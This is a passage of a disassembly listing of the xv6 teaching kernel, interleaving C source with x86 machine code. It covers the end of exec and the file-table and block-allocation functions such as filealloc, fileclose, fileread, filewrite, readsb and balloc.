80100e90: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100e96: 8b 40 18 mov 0x18(%eax),%eax
80100e99: 8b 55 dc mov -0x24(%ebp),%edx
80100e9c: 89 50 44 mov %edx,0x44(%eax)
switchuvm(proc);
80100e9f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80100ea5: 89 04 24 mov %eax,(%esp)
80100ea8: e8 15 74 00 00 call 801082c2 <switchuvm>
freevm(oldpgdir);
80100ead: 8b 45 d0 mov -0x30(%ebp),%eax
80100eb0: 89 04 24 mov %eax,(%esp)
80100eb3: e8 81 78 00 00 call 80108739 <freevm>
return 0;
80100eb8: b8 00 00 00 00 mov $0x0,%eax
80100ebd: eb 4b jmp 80100f0a <exec+0x40e>
ilock(ip);
pgdir = 0;
// Check ELF header
if(readi(ip, (char*)&elf, 0, sizeof(elf)) < sizeof(elf))
goto bad;
80100ebf: 90 nop
80100ec0: eb 1c jmp 80100ede <exec+0x3e2>
if(elf.magic != ELF_MAGIC)
goto bad;
80100ec2: 90 nop
80100ec3: eb 19 jmp 80100ede <exec+0x3e2>
if((pgdir = setupkvm()) == 0)
goto bad;
80100ec5: 90 nop
80100ec6: eb 16 jmp 80100ede <exec+0x3e2>
// Load program into memory.
sz = 0;
for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){
if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph))
goto bad;
80100ec8: 90 nop
80100ec9: eb 13 jmp 80100ede <exec+0x3e2>
if(ph.type != ELF_PROG_LOAD)
continue;
if(ph.memsz < ph.filesz)
goto bad;
80100ecb: 90 nop
80100ecc: eb 10 jmp 80100ede <exec+0x3e2>
if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0)
goto bad;
80100ece: 90 nop
80100ecf: eb 0d jmp 80100ede <exec+0x3e2>
if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0)
goto bad;
80100ed1: 90 nop
80100ed2: eb 0a jmp 80100ede <exec+0x3e2>
// Allocate two pages at the next page boundary.
// Make the first inaccessible. Use the second as the user stack.
sz = PGROUNDUP(sz);
if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0)
goto bad;
80100ed4: 90 nop
80100ed5: eb 07 jmp 80100ede <exec+0x3e2>
sp = sz;
// Push argument strings, prepare rest of stack in ustack.
for(argc = 0; argv[argc]; argc++) {
if(argc >= MAXARG)
goto bad;
80100ed7: 90 nop
80100ed8: eb 04 jmp 80100ede <exec+0x3e2>
sp = (sp - (strlen(argv[argc]) + 1)) & ~3;
if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0)
goto bad;
80100eda: 90 nop
80100edb: eb 01 jmp 80100ede <exec+0x3e2>
ustack[1] = argc;
ustack[2] = sp - (argc+1)*4; // argv pointer
sp -= (3+argc+1) * 4;
if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0)
goto bad;
80100edd: 90 nop
switchuvm(proc);
freevm(oldpgdir);
return 0;
bad:
if(pgdir)
80100ede: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
80100ee2: 74 0b je 80100eef <exec+0x3f3>
freevm(pgdir);
80100ee4: 8b 45 d4 mov -0x2c(%ebp),%eax
80100ee7: 89 04 24 mov %eax,(%esp)
80100eea: e8 4a 78 00 00 call 80108739 <freevm>
if(ip){
80100eef: 83 7d d8 00 cmpl $0x0,-0x28(%ebp)
80100ef3: 74 10 je 80100f05 <exec+0x409>
iunlockput(ip);
80100ef5: 8b 45 d8 mov -0x28(%ebp),%eax
80100ef8: 89 04 24 mov %eax,(%esp)
80100efb: e8 f8 0b 00 00 call 80101af8 <iunlockput>
end_op();
80100f00: e8 dd 25 00 00 call 801034e2 <end_op>
}
return -1;
80100f05: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100f0a: c9 leave
80100f0b: c3 ret
80100f0c <fileinit>:
struct file file[NFILE];
} ftable;
void
fileinit(void)
{
80100f0c: 55 push %ebp
80100f0d: 89 e5 mov %esp,%ebp
80100f0f: 83 ec 18 sub $0x18,%esp
initlock(&ftable.lock, "ftable");
80100f12: c7 44 24 04 95 8a 10 movl $0x80108a95,0x4(%esp)
80100f19: 80
80100f1a: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80100f21: e8 c8 43 00 00 call 801052ee <initlock>
}
80100f26: c9 leave
80100f27: c3 ret
80100f28 <filealloc>:
// Allocate a file structure.
struct file*
filealloc(void)
{
80100f28: 55 push %ebp
80100f29: 89 e5 mov %esp,%ebp
80100f2b: 83 ec 28 sub $0x28,%esp
struct file *f;
acquire(&ftable.lock);
80100f2e: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80100f35: e8 d5 43 00 00 call 8010530f <acquire>
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100f3a: c7 45 f4 94 18 11 80 movl $0x80111894,-0xc(%ebp)
80100f41: eb 29 jmp 80100f6c <filealloc+0x44>
if(f->ref == 0){
80100f43: 8b 45 f4 mov -0xc(%ebp),%eax
80100f46: 8b 40 04 mov 0x4(%eax),%eax
80100f49: 85 c0 test %eax,%eax
80100f4b: 75 1b jne 80100f68 <filealloc+0x40>
f->ref = 1;
80100f4d: 8b 45 f4 mov -0xc(%ebp),%eax
80100f50: c7 40 04 01 00 00 00 movl $0x1,0x4(%eax)
release(&ftable.lock);
80100f57: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80100f5e: e8 0e 44 00 00 call 80105371 <release>
return f;
80100f63: 8b 45 f4 mov -0xc(%ebp),%eax
80100f66: eb 1e jmp 80100f86 <filealloc+0x5e>
filealloc(void)
{
struct file *f;
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100f68: 83 45 f4 18 addl $0x18,-0xc(%ebp)
80100f6c: 81 7d f4 f4 21 11 80 cmpl $0x801121f4,-0xc(%ebp)
80100f73: 72 ce jb 80100f43 <filealloc+0x1b>
f->ref = 1;
release(&ftable.lock);
return f;
}
}
release(&ftable.lock);
80100f75: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80100f7c: e8 f0 43 00 00 call 80105371 <release>
return 0;
80100f81: b8 00 00 00 00 mov $0x0,%eax
}
80100f86: c9 leave
80100f87: c3 ret
80100f88 <filedup>:
// Increment ref count for file f.
struct file*
filedup(struct file *f)
{
80100f88: 55 push %ebp
80100f89: 89 e5 mov %esp,%ebp
80100f8b: 83 ec 18 sub $0x18,%esp
acquire(&ftable.lock);
80100f8e: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80100f95: e8 75 43 00 00 call 8010530f <acquire>
if(f->ref < 1)
80100f9a: 8b 45 08 mov 0x8(%ebp),%eax
80100f9d: 8b 40 04 mov 0x4(%eax),%eax
80100fa0: 85 c0 test %eax,%eax
80100fa2: 7f 0c jg 80100fb0 <filedup+0x28>
panic("filedup");
80100fa4: c7 04 24 9c 8a 10 80 movl $0x80108a9c,(%esp)
80100fab: e8 8d f5 ff ff call 8010053d <panic>
f->ref++;
80100fb0: 8b 45 08 mov 0x8(%ebp),%eax
80100fb3: 8b 40 04 mov 0x4(%eax),%eax
80100fb6: 8d 50 01 lea 0x1(%eax),%edx
80100fb9: 8b 45 08 mov 0x8(%ebp),%eax
80100fbc: 89 50 04 mov %edx,0x4(%eax)
release(&ftable.lock);
80100fbf: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80100fc6: e8 a6 43 00 00 call 80105371 <release>
return f;
80100fcb: 8b 45 08 mov 0x8(%ebp),%eax
}
80100fce: c9 leave
80100fcf: c3 ret
80100fd0 <fileclose>:
// Close file f. (Decrement ref count, close when reaches 0.)
void
fileclose(struct file *f)
{
80100fd0: 55 push %ebp
80100fd1: 89 e5 mov %esp,%ebp
80100fd3: 83 ec 38 sub $0x38,%esp
struct file ff;
acquire(&ftable.lock);
80100fd6: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80100fdd: e8 2d 43 00 00 call 8010530f <acquire>
if(f->ref < 1)
80100fe2: 8b 45 08 mov 0x8(%ebp),%eax
80100fe5: 8b 40 04 mov 0x4(%eax),%eax
80100fe8: 85 c0 test %eax,%eax
80100fea: 7f 0c jg 80100ff8 <fileclose+0x28>
panic("fileclose");
80100fec: c7 04 24 a4 8a 10 80 movl $0x80108aa4,(%esp)
80100ff3: e8 45 f5 ff ff call 8010053d <panic>
if(--f->ref > 0){
80100ff8: 8b 45 08 mov 0x8(%ebp),%eax
80100ffb: 8b 40 04 mov 0x4(%eax),%eax
80100ffe: 8d 50 ff lea -0x1(%eax),%edx
80101001: 8b 45 08 mov 0x8(%ebp),%eax
80101004: 89 50 04 mov %edx,0x4(%eax)
80101007: 8b 45 08 mov 0x8(%ebp),%eax
8010100a: 8b 40 04 mov 0x4(%eax),%eax
8010100d: 85 c0 test %eax,%eax
8010100f: 7e 11 jle 80101022 <fileclose+0x52>
release(&ftable.lock);
80101011: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80101018: e8 54 43 00 00 call 80105371 <release>
return;
8010101d: e9 82 00 00 00 jmp 801010a4 <fileclose+0xd4>
}
ff = *f;
80101022: 8b 45 08 mov 0x8(%ebp),%eax
80101025: 8b 10 mov (%eax),%edx
80101027: 89 55 e0 mov %edx,-0x20(%ebp)
8010102a: 8b 50 04 mov 0x4(%eax),%edx
8010102d: 89 55 e4 mov %edx,-0x1c(%ebp)
80101030: 8b 50 08 mov 0x8(%eax),%edx
80101033: 89 55 e8 mov %edx,-0x18(%ebp)
80101036: 8b 50 0c mov 0xc(%eax),%edx
80101039: 89 55 ec mov %edx,-0x14(%ebp)
8010103c: 8b 50 10 mov 0x10(%eax),%edx
8010103f: 89 55 f0 mov %edx,-0x10(%ebp)
80101042: 8b 40 14 mov 0x14(%eax),%eax
80101045: 89 45 f4 mov %eax,-0xc(%ebp)
f->ref = 0;
80101048: 8b 45 08 mov 0x8(%ebp),%eax
8010104b: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
f->type = FD_NONE;
80101052: 8b 45 08 mov 0x8(%ebp),%eax
80101055: c7 00 00 00 00 00 movl $0x0,(%eax)
release(&ftable.lock);
8010105b: c7 04 24 60 18 11 80 movl $0x80111860,(%esp)
80101062: e8 0a 43 00 00 call 80105371 <release>
if(ff.type == FD_PIPE)
80101067: 8b 45 e0 mov -0x20(%ebp),%eax
8010106a: 83 f8 01 cmp $0x1,%eax
8010106d: 75 18 jne 80101087 <fileclose+0xb7>
pipeclose(ff.pipe, ff.writable);
8010106f: 0f b6 45 e9 movzbl -0x17(%ebp),%eax
80101073: 0f be d0 movsbl %al,%edx
80101076: 8b 45 ec mov -0x14(%ebp),%eax
80101079: 89 54 24 04 mov %edx,0x4(%esp)
8010107d: 89 04 24 mov %eax,(%esp)
80101080: e8 36 30 00 00 call 801040bb <pipeclose>
80101085: eb 1d jmp 801010a4 <fileclose+0xd4>
else if(ff.type == FD_INODE){
80101087: 8b 45 e0 mov -0x20(%ebp),%eax
8010108a: 83 f8 02 cmp $0x2,%eax
8010108d: 75 15 jne 801010a4 <fileclose+0xd4>
begin_op();
8010108f: e8 cd 23 00 00 call 80103461 <begin_op>
iput(ff.ip);
80101094: 8b 45 f0 mov -0x10(%ebp),%eax
80101097: 89 04 24 mov %eax,(%esp)
8010109a: e8 88 09 00 00 call 80101a27 <iput>
end_op();
8010109f: e8 3e 24 00 00 call 801034e2 <end_op>
}
}
801010a4: c9 leave
801010a5: c3 ret
801010a6 <filestat>:
// Get metadata about file f.
int
filestat(struct file *f, struct stat *st)
{
801010a6: 55 push %ebp
801010a7: 89 e5 mov %esp,%ebp
801010a9: 83 ec 18 sub $0x18,%esp
if(f->type == FD_INODE){
801010ac: 8b 45 08 mov 0x8(%ebp),%eax
801010af: 8b 00 mov (%eax),%eax
801010b1: 83 f8 02 cmp $0x2,%eax
801010b4: 75 38 jne 801010ee <filestat+0x48>
ilock(f->ip);
801010b6: 8b 45 08 mov 0x8(%ebp),%eax
801010b9: 8b 40 10 mov 0x10(%eax),%eax
801010bc: 89 04 24 mov %eax,(%esp)
801010bf: e8 b0 07 00 00 call 80101874 <ilock>
stati(f->ip, st);
801010c4: 8b 45 08 mov 0x8(%ebp),%eax
801010c7: 8b 40 10 mov 0x10(%eax),%eax
801010ca: 8b 55 0c mov 0xc(%ebp),%edx
801010cd: 89 54 24 04 mov %edx,0x4(%esp)
801010d1: 89 04 24 mov %eax,(%esp)
801010d4: e8 4c 0c 00 00 call 80101d25 <stati>
iunlock(f->ip);
801010d9: 8b 45 08 mov 0x8(%ebp),%eax
801010dc: 8b 40 10 mov 0x10(%eax),%eax
801010df: 89 04 24 mov %eax,(%esp)
801010e2: e8 db 08 00 00 call 801019c2 <iunlock>
return 0;
801010e7: b8 00 00 00 00 mov $0x0,%eax
801010ec: eb 05 jmp 801010f3 <filestat+0x4d>
}
return -1;
801010ee: b8 ff ff ff ff mov $0xffffffff,%eax
}
801010f3: c9 leave
801010f4: c3 ret
801010f5 <fileread>:
// Read from file f.
int
fileread(struct file *f, char *addr, int n)
{
801010f5: 55 push %ebp
801010f6: 89 e5 mov %esp,%ebp
801010f8: 83 ec 28 sub $0x28,%esp
int r;
if(f->readable == 0)
801010fb: 8b 45 08 mov 0x8(%ebp),%eax
801010fe: 0f b6 40 08 movzbl 0x8(%eax),%eax
80101102: 84 c0 test %al,%al
80101104: 75 0a jne 80101110 <fileread+0x1b>
return -1;
80101106: b8 ff ff ff ff mov $0xffffffff,%eax
8010110b: e9 9f 00 00 00 jmp 801011af <fileread+0xba>
if(f->type == FD_PIPE)
80101110: 8b 45 08 mov 0x8(%ebp),%eax
80101113: 8b 00 mov (%eax),%eax
80101115: 83 f8 01 cmp $0x1,%eax
80101118: 75 1e jne 80101138 <fileread+0x43>
return piperead(f->pipe, addr, n);
8010111a: 8b 45 08 mov 0x8(%ebp),%eax
8010111d: 8b 40 0c mov 0xc(%eax),%eax
80101120: 8b 55 10 mov 0x10(%ebp),%edx
80101123: 89 54 24 08 mov %edx,0x8(%esp)
80101127: 8b 55 0c mov 0xc(%ebp),%edx
8010112a: 89 54 24 04 mov %edx,0x4(%esp)
8010112e: 89 04 24 mov %eax,(%esp)
80101131: e8 07 31 00 00 call 8010423d <piperead>
80101136: eb 77 jmp 801011af <fileread+0xba>
if(f->type == FD_INODE){
80101138: 8b 45 08 mov 0x8(%ebp),%eax
8010113b: 8b 00 mov (%eax),%eax
8010113d: 83 f8 02 cmp $0x2,%eax
80101140: 75 61 jne 801011a3 <fileread+0xae>
ilock(f->ip);
80101142: 8b 45 08 mov 0x8(%ebp),%eax
80101145: 8b 40 10 mov 0x10(%eax),%eax
80101148: 89 04 24 mov %eax,(%esp)
8010114b: e8 24 07 00 00 call 80101874 <ilock>
if((r = readi(f->ip, addr, f->off, n)) > 0)
80101150: 8b 4d 10 mov 0x10(%ebp),%ecx
80101153: 8b 45 08 mov 0x8(%ebp),%eax
80101156: 8b 50 14 mov 0x14(%eax),%edx
80101159: 8b 45 08 mov 0x8(%ebp),%eax
8010115c: 8b 40 10 mov 0x10(%eax),%eax
8010115f: 89 4c 24 0c mov %ecx,0xc(%esp)
80101163: 89 54 24 08 mov %edx,0x8(%esp)
80101167: 8b 55 0c mov 0xc(%ebp),%edx
8010116a: 89 54 24 04 mov %edx,0x4(%esp)
8010116e: 89 04 24 mov %eax,(%esp)
80101171: e8 f4 0b 00 00 call 80101d6a <readi>
80101176: 89 45 f4 mov %eax,-0xc(%ebp)
80101179: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010117d: 7e 11 jle 80101190 <fileread+0x9b>
f->off += r;
8010117f: 8b 45 08 mov 0x8(%ebp),%eax
80101182: 8b 50 14 mov 0x14(%eax),%edx
80101185: 8b 45 f4 mov -0xc(%ebp),%eax
80101188: 01 c2 add %eax,%edx
8010118a: 8b 45 08 mov 0x8(%ebp),%eax
8010118d: 89 50 14 mov %edx,0x14(%eax)
iunlock(f->ip);
80101190: 8b 45 08 mov 0x8(%ebp),%eax
80101193: 8b 40 10 mov 0x10(%eax),%eax
80101196: 89 04 24 mov %eax,(%esp)
80101199: e8 24 08 00 00 call 801019c2 <iunlock>
return r;
8010119e: 8b 45 f4 mov -0xc(%ebp),%eax
801011a1: eb 0c jmp 801011af <fileread+0xba>
}
panic("fileread");
801011a3: c7 04 24 ae 8a 10 80 movl $0x80108aae,(%esp)
801011aa: e8 8e f3 ff ff call 8010053d <panic>
}
801011af: c9 leave
801011b0: c3 ret
801011b1 <filewrite>:
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
801011b1: 55 push %ebp
801011b2: 89 e5 mov %esp,%ebp
801011b4: 53 push %ebx
801011b5: 83 ec 24 sub $0x24,%esp
int r;
if(f->writable == 0)
801011b8: 8b 45 08 mov 0x8(%ebp),%eax
801011bb: 0f b6 40 09 movzbl 0x9(%eax),%eax
801011bf: 84 c0 test %al,%al
801011c1: 75 0a jne 801011cd <filewrite+0x1c>
return -1;
801011c3: b8 ff ff ff ff mov $0xffffffff,%eax
801011c8: e9 23 01 00 00 jmp 801012f0 <filewrite+0x13f>
if(f->type == FD_PIPE)
801011cd: 8b 45 08 mov 0x8(%ebp),%eax
801011d0: 8b 00 mov (%eax),%eax
801011d2: 83 f8 01 cmp $0x1,%eax
801011d5: 75 21 jne 801011f8 <filewrite+0x47>
return pipewrite(f->pipe, addr, n);
801011d7: 8b 45 08 mov 0x8(%ebp),%eax
801011da: 8b 40 0c mov 0xc(%eax),%eax
801011dd: 8b 55 10 mov 0x10(%ebp),%edx
801011e0: 89 54 24 08 mov %edx,0x8(%esp)
801011e4: 8b 55 0c mov 0xc(%ebp),%edx
801011e7: 89 54 24 04 mov %edx,0x4(%esp)
801011eb: 89 04 24 mov %eax,(%esp)
801011ee: e8 5a 2f 00 00 call 8010414d <pipewrite>
801011f3: e9 f8 00 00 00 jmp 801012f0 <filewrite+0x13f>
if(f->type == FD_INODE){
801011f8: 8b 45 08 mov 0x8(%ebp),%eax
801011fb: 8b 00 mov (%eax),%eax
801011fd: 83 f8 02 cmp $0x2,%eax
80101200: 0f 85 de 00 00 00 jne 801012e4 <filewrite+0x133>
// the maximum log transaction size, including
// i-node, indirect block, allocation blocks,
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((LOGSIZE-1-1-2) / 2) * 512;
80101206: c7 45 ec 00 1a 00 00 movl $0x1a00,-0x14(%ebp)
int i = 0;
8010120d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
while(i < n){
80101214: e9 a8 00 00 00 jmp 801012c1 <filewrite+0x110>
int n1 = n - i;
80101219: 8b 45 f4 mov -0xc(%ebp),%eax
8010121c: 8b 55 10 mov 0x10(%ebp),%edx
8010121f: 89 d1 mov %edx,%ecx
80101221: 29 c1 sub %eax,%ecx
80101223: 89 c8 mov %ecx,%eax
80101225: 89 45 f0 mov %eax,-0x10(%ebp)
if(n1 > max)
80101228: 8b 45 f0 mov -0x10(%ebp),%eax
8010122b: 3b 45 ec cmp -0x14(%ebp),%eax
8010122e: 7e 06 jle 80101236 <filewrite+0x85>
n1 = max;
80101230: 8b 45 ec mov -0x14(%ebp),%eax
80101233: 89 45 f0 mov %eax,-0x10(%ebp)
begin_op();
80101236: e8 26 22 00 00 call 80103461 <begin_op>
ilock(f->ip);
8010123b: 8b 45 08 mov 0x8(%ebp),%eax
8010123e: 8b 40 10 mov 0x10(%eax),%eax
80101241: 89 04 24 mov %eax,(%esp)
80101244: e8 2b 06 00 00 call 80101874 <ilock>
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
80101249: 8b 5d f0 mov -0x10(%ebp),%ebx
8010124c: 8b 45 08 mov 0x8(%ebp),%eax
8010124f: 8b 48 14 mov 0x14(%eax),%ecx
80101252: 8b 45 f4 mov -0xc(%ebp),%eax
80101255: 89 c2 mov %eax,%edx
80101257: 03 55 0c add 0xc(%ebp),%edx
8010125a: 8b 45 08 mov 0x8(%ebp),%eax
8010125d: 8b 40 10 mov 0x10(%eax),%eax
80101260: 89 5c 24 0c mov %ebx,0xc(%esp)
80101264: 89 4c 24 08 mov %ecx,0x8(%esp)
80101268: 89 54 24 04 mov %edx,0x4(%esp)
8010126c: 89 04 24 mov %eax,(%esp)
8010126f: e8 61 0c 00 00 call 80101ed5 <writei>
80101274: 89 45 e8 mov %eax,-0x18(%ebp)
80101277: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
8010127b: 7e 11 jle 8010128e <filewrite+0xdd>
f->off += r;
8010127d: 8b 45 08 mov 0x8(%ebp),%eax
80101280: 8b 50 14 mov 0x14(%eax),%edx
80101283: 8b 45 e8 mov -0x18(%ebp),%eax
80101286: 01 c2 add %eax,%edx
80101288: 8b 45 08 mov 0x8(%ebp),%eax
8010128b: 89 50 14 mov %edx,0x14(%eax)
iunlock(f->ip);
8010128e: 8b 45 08 mov 0x8(%ebp),%eax
80101291: 8b 40 10 mov 0x10(%eax),%eax
80101294: 89 04 24 mov %eax,(%esp)
80101297: e8 26 07 00 00 call 801019c2 <iunlock>
end_op();
8010129c: e8 41 22 00 00 call 801034e2 <end_op>
if(r < 0)
801012a1: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
801012a5: 78 28 js 801012cf <filewrite+0x11e>
break;
if(r != n1)
801012a7: 8b 45 e8 mov -0x18(%ebp),%eax
801012aa: 3b 45 f0 cmp -0x10(%ebp),%eax
801012ad: 74 0c je 801012bb <filewrite+0x10a>
panic("short filewrite");
801012af: c7 04 24 b7 8a 10 80 movl $0x80108ab7,(%esp)
801012b6: e8 82 f2 ff ff call 8010053d <panic>
i += r;
801012bb: 8b 45 e8 mov -0x18(%ebp),%eax
801012be: 01 45 f4 add %eax,-0xc(%ebp)
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((LOGSIZE-1-1-2) / 2) * 512;
int i = 0;
while(i < n){
801012c1: 8b 45 f4 mov -0xc(%ebp),%eax
801012c4: 3b 45 10 cmp 0x10(%ebp),%eax
801012c7: 0f 8c 4c ff ff ff jl 80101219 <filewrite+0x68>
801012cd: eb 01 jmp 801012d0 <filewrite+0x11f>
f->off += r;
iunlock(f->ip);
end_op();
if(r < 0)
break;
801012cf: 90 nop
if(r != n1)
panic("short filewrite");
i += r;
}
return i == n ? n : -1;
801012d0: 8b 45 f4 mov -0xc(%ebp),%eax
801012d3: 3b 45 10 cmp 0x10(%ebp),%eax
801012d6: 75 05 jne 801012dd <filewrite+0x12c>
801012d8: 8b 45 10 mov 0x10(%ebp),%eax
801012db: eb 05 jmp 801012e2 <filewrite+0x131>
801012dd: b8 ff ff ff ff mov $0xffffffff,%eax
801012e2: eb 0c jmp 801012f0 <filewrite+0x13f>
}
panic("filewrite");
801012e4: c7 04 24 c7 8a 10 80 movl $0x80108ac7,(%esp)
801012eb: e8 4d f2 ff ff call 8010053d <panic>
}
801012f0: 83 c4 24 add $0x24,%esp
801012f3: 5b pop %ebx
801012f4: 5d pop %ebp
801012f5: c3 ret
...
801012f8 <readsb>:
static void itrunc(struct inode*);
// Read the super block.
void
readsb(int dev, struct superblock *sb)
{
801012f8: 55 push %ebp
801012f9: 89 e5 mov %esp,%ebp
801012fb: 83 ec 28 sub $0x28,%esp
struct buf *bp;
bp = bread(dev, 1);
801012fe: 8b 45 08 mov 0x8(%ebp),%eax
80101301: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80101308: 00
80101309: 89 04 24 mov %eax,(%esp)
8010130c: e8 95 ee ff ff call 801001a6 <bread>
80101311: 89 45 f4 mov %eax,-0xc(%ebp)
memmove(sb, bp->data, sizeof(*sb));
80101314: 8b 45 f4 mov -0xc(%ebp),%eax
80101317: 83 c0 18 add $0x18,%eax
8010131a: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80101321: 00
80101322: 89 44 24 04 mov %eax,0x4(%esp)
80101326: 8b 45 0c mov 0xc(%ebp),%eax
80101329: 89 04 24 mov %eax,(%esp)
8010132c: e8 00 43 00 00 call 80105631 <memmove>
brelse(bp);
80101331: 8b 45 f4 mov -0xc(%ebp),%eax
80101334: 89 04 24 mov %eax,(%esp)
80101337: e8 db ee ff ff call 80100217 <brelse>
}
8010133c: c9 leave
8010133d: c3 ret
8010133e <bzero>:
// Zero a block.
static void
bzero(int dev, int bno)
{
8010133e: 55 push %ebp
8010133f: 89 e5 mov %esp,%ebp
80101341: 83 ec 28 sub $0x28,%esp
struct buf *bp;
bp = bread(dev, bno);
80101344: 8b 55 0c mov 0xc(%ebp),%edx
80101347: 8b 45 08 mov 0x8(%ebp),%eax
8010134a: 89 54 24 04 mov %edx,0x4(%esp)
8010134e: 89 04 24 mov %eax,(%esp)
80101351: e8 50 ee ff ff call 801001a6 <bread>
80101356: 89 45 f4 mov %eax,-0xc(%ebp)
memset(bp->data, 0, BSIZE);
80101359: 8b 45 f4 mov -0xc(%ebp),%eax
8010135c: 83 c0 18 add $0x18,%eax
8010135f: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
80101366: 00
80101367: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010136e: 00
8010136f: 89 04 24 mov %eax,(%esp)
80101372: e8 e7 41 00 00 call 8010555e <memset>
log_write(bp);
80101377: 8b 45 f4 mov -0xc(%ebp),%eax
8010137a: 89 04 24 mov %eax,(%esp)
8010137d: e8 e4 22 00 00 call 80103666 <log_write>
brelse(bp);
80101382: 8b 45 f4 mov -0xc(%ebp),%eax
80101385: 89 04 24 mov %eax,(%esp)
80101388: e8 8a ee ff ff call 80100217 <brelse>
}
8010138d: c9 leave
8010138e: c3 ret
8010138f <balloc>:
// Blocks.
// Allocate a zeroed disk block.
static uint
balloc(uint dev)
{
8010138f: 55 push %ebp
80101390: 89 e5 mov %esp,%ebp
80101392: 53 push %ebx
80101393: 83 ec 34 sub $0x34,%esp
int b, bi, m;
struct buf *bp;
struct superblock sb;
bp = 0;
80101396: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
readsb(dev, &sb);
8010139d: 8b 45 08 mov 0x8(%ebp),%eax
801013a0: 8d 55 d8 lea -0x28(%ebp),%edx
801013a3: 89 54 24 04 mov %edx,0x4(%esp)
801013a7: 89 04 24 mov %eax,(%esp)
801013aa: e8 49 ff ff ff call 801012f8 <readsb>
for(b = 0; b < sb.size; b += BPB){
801013af: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801013b6: e9 11 01 00 00 jmp 801014cc <balloc+0x13d>
bp = bread(dev, BBLOCK(b, sb.ninodes));
801013bb: 8b 45 f4 mov -0xc(%ebp),%eax
801013be: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx
801013c4: 85 c0 test %eax,%eax
801013c6: 0f 48 c2 cmovs %edx,%eax
801013c9: c1 f8 0c sar $0xc,%eax
801013cc: 8b 55 e0 mov -0x20(%ebp),%edx
801013cf: c1 ea 03 shr $0x3,%edx
801013d2: 01 d0 add %edx,%eax
801013d4: 83 c0 03 add $0x3,%eax
801013d7: 89 44 24 04 mov %eax,0x4(%esp)
801013db: 8b 45 08 mov 0x8(%ebp),%eax
801013de: 89 04 24 mov %eax,(%esp)
801013e1: e8 c0 ed ff ff call 801001a6 <bread>
801013e6: 89 45 ec mov %eax,-0x14(%ebp)
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
801013e9: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
801013f0: e9 a7 00 00 00 jmp 8010149c <balloc+0x10d>
m = 1 << (bi % 8);
801013f5: 8b 45 f0 mov -0x10(%ebp),%eax
801013f8: 89 c2 mov %eax,%edx
801013fa: c1 fa 1f sar $0x1f,%edx
801013fd: c1 ea 1d shr $0x1d,%edx
80101400: 01 d0 add %edx,%eax
80101402: 83 e0 07 and $0x7,%eax
80101405: 29 d0 sub %edx,%eax
80101407: ba 01 00 00 00 mov $0x1,%edx
8010140c: 89 d3 mov %edx,%ebx
8010140e: 89 c1 mov %eax,%ecx
80101410: d3 e3 shl %cl,%ebx
80101412: 89 d8 mov %ebx,%eax
80101414: 89 45 e8 mov %eax,-0x18(%ebp)
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101417: 8b 45 f0 mov -0x10(%ebp),%eax
8010141a: 8d 50 07 lea 0x7(%eax),%edx
8010141d: 85 c0 test %eax,%eax
8010141f: 0f 48 c2 cmovs %edx,%eax
80101422: c1 f8 03 sar $0x3,%eax
80101425: 8b 55 ec mov -0x14(%ebp),%edx
80101428: 0f b6 44 02 18 movzbl 0x18(%edx,%eax,1),%eax
8010142d: 0f b6 c0 movzbl %al,%eax
80101430: 23 45 e8 and -0x18(%ebp),%eax
80101433: 85 c0 test %eax,%eax
80101435: 75 61 jne 80101498 <balloc+0x109>
bp->data[bi/8] |= m; // Mark block in use.
80101437: 8b 45 f0 mov -0x10(%ebp),%eax
8010143a: 8d 50 07 lea 0x7(%eax),%edx
8010143d: 85 c0 test %eax,%eax
8010143f: 0f 48 c2 cmovs %edx,%eax
80101442: c1 f8 03 sar $0x3,%eax
80101445: 8b 55 ec mov -0x14(%ebp),%edx
80101448: 0f b6 54 02 18 movzbl 0x18(%edx,%eax,1),%edx
8010144d: 89 d1 mov %edx,%ecx
8010144f: 8b 55 e8 mov -0x18(%ebp),%edx
80101452: 09 ca or %ecx,%edx
80101454: 89 d1 mov %edx,%ecx
80101456: 8b 55 ec mov -0x14(%ebp),%edx
80101459: 88 4c 02 18 mov %cl,0x18(%edx,%eax,1)
log_write(bp);
8010145d: 8b 45 ec mov -0x14(%ebp),%eax
80101460: 89 04 24 mov %eax,(%esp)
